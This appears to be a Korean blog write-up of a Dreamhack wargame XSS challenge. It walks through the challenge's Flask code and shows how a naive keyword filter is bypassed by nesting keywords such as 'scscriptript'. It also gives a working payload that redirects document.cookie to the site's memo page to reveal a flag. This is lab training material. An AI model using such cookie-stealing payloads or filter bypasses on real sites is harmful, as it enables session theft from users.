<문제>
<풀이>
1. 사이트 및 코드 확인
문제 사이트에 처음 접속하면 보이는 페이지이다.
먼저 vuln page에 들어가봤다.
param 파라미터를 바꿔보고 싶다.
xss 문제니까 일단 가장 단순한 형태의 xss 페이로드를 보내본다.
될 리가 없다.
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
param = xss_filter(param)
return param
vuln 함수에서 xss_filter() 함수를 호출하고 있는데,
def xss_filter(text):
_filter = ["script", "on", "javascript:"]
for f in _filter:
if f in text.lower():
text = text.replace(f, "")
return text
xss_filter() 함수에서 script, on, javascript: 라는 키워드를 필터링하고 있기 때문이다.
그런데 53행을 보면 해당 키워드를 ""로 치환하고 있으므로 우회하기 쉽다.
예를 들어,
"script" → ""로 치환되니까
"scscriptript" → "script"로 치환된다.
script 대신 scscriptript로 바꿔 페이로드를 보내보니 xss 공격이 먹힌다.
이제 플래그를 출력하는 부분에 대해 살펴보자.
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
/flag에 대한 부분의 코드를 보면
74행에서 check_xss() 함수를 호출할 때 FLAG를 매개변수로 보내는 것을 확인할 수 있다.
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
check_xss() 함수에서는 read_url() 함수를 호출한다.
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
read_url() 함수에서는 사용자가 flag페이지에 입력한 값으로 구성한 url로 요청을 보내는데,
그 전에 http://127.0.0.1:8000/에 방문해서 쿠키를 추가한다.
이 쿠키에 FLAG가 들어있으니 쿠키를 출력하는 페이로드를 보내면 FLAG를 볼 수 있을 것이다.
2. 익스플로잇
flag 페이지이다.
여기에 XSS 공격 페이로드를 입력할 것이다.
memo 페이지이다.
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
코드로 확인해보면
memo 파라미터에 입력된 값이 memo_text에 추가되어 memo.html을 렌더링할 때 출력되는 것을 알 수 있다.
memo 파라미터에 hello 라는 문자열 대신 쿠키에 들어있는 값을 전달하면
memo페이지에서 쿠키 값을 볼 수 있을 것이다.
따라서 flag 페이지에서 입력할 페이로드는 다음과 같다.
<script>location.href="/memo?memo="+document.cookie</script>
페이로드를 분석해보면,
<script></script>는 XSS 공격 시 많이 사용되는 태그로, 태그 사이에 들어있는 내용은 자바스크립트 코드로 인식된다.
location.href는 자바스크립트에서 현재 페이지의 url을 나타내는 속성이다.
location.href에 현재 페이지의 url이 아닌 다른 url을 입력하면 그 url로 리다이렉션(해당 url로 이동)한다.
document.cookie는 자바스크립트에서 현재 페이지의 쿠키를 나타내는 프로퍼티이다.
그러나 이 페이로드를 그대로 입력하면 공격이 먹히지 않는다.
xss_filter() 함수가 있기 때문이다.
따라서 <scscriptript>locatioonn.href="memo?memo="+document.cookie</scscriptript>
이렇게 필터링을 우회한 페이로드를 보낼 것이다.
flag 페이지에서 페이로드를 입력했다.
값을 입력하면 good이 뜬다.
정상적으로 처리된 것을 확인할 수 있다.
3. FLAG 획득
memo 페이지에서 출력된 flag를 확인할 수 있다.
'드림핵' 카테고리의 다른 글
[드림핵 워게임] [wargame.kr] tmitter (0) | 2023.08.19 |
---|---|
[드림핵 워게임] NoSQL-CouchDB (0) | 2023.08.15 |
[드림핵 워게임] CSRF Advanced (0) | 2023.08.15 |
[드림핵 워게임] out of money (0) | 2023.08.12 |
[드림핵 워게임] command-injection-chatgpt (0) | 2023.08.11 |